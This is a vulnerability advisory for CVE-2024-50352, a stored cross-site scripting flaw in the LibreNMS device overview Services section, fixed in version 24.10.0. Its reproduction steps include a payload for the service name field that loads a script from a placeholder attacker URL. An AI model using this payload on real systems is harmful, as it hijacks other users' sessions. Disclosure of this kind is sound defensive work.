Disclosed vulnerabilities
Fixed: Nov 5, 2024
CVE-2024-50352 Published: Nov 14, 2024

Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview

7.5 High Severity librenms Stored-XSS XSS
Raphael Silva Reported by Checkmarx Zero

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the “Services” section of the Device Overview page of the @LibreNMS/LibreNMS project allows authenticated users to inject arbitrary JavaScript through the name parameter when adding a service to a device. The injected script executes in other users’ sessions when they view the Services section.

Product

This vulnerability affects LibreNMS versions prior to 24.10.0 in librenms/includes/html/pages/device/overview/services.inc.php.

Impact

This vulnerability can lead to the execution of malicious code in the context of other users’ sessions, potentially compromising their accounts and allowing unauthorized actions.

Steps to reproduce

  1. Log into the LibreNMS web interface.

  2. Create or edit a device using the Services section of the edit workflow (e.g., /device/15/edit/section=services).

  3. In the Name field, enter:

    Name'"><script/src=//<attacker-url>></script>

  4. Save the service.

  5. Navigate to the Overview page of that device and scroll to the Services section.

  6. Observe that the external script hosted at //<attacker-url> is loaded and executed.

Expected result:

The malicious script from //<attacker-url> runs in the Services section of the Device Overview page, demonstrating arbitrary JavaScript execution in the victim’s session.

Remediation

Fixed in LibreNMS 24.10.0 by HTML-encoding and escaping the name parameter in device/overview/services.inc.php, preventing unsanitized user input from being rendered.

Credit

This issue was discovered and reported by Checkmarx Security Researcher Raphael Silva.

Resources

  1. GHSA-qr8f-5qqg-j3wg
  2. Fix commit
  3. NVD entry for CVE-2024-50352

Stay connected and never miss a research update!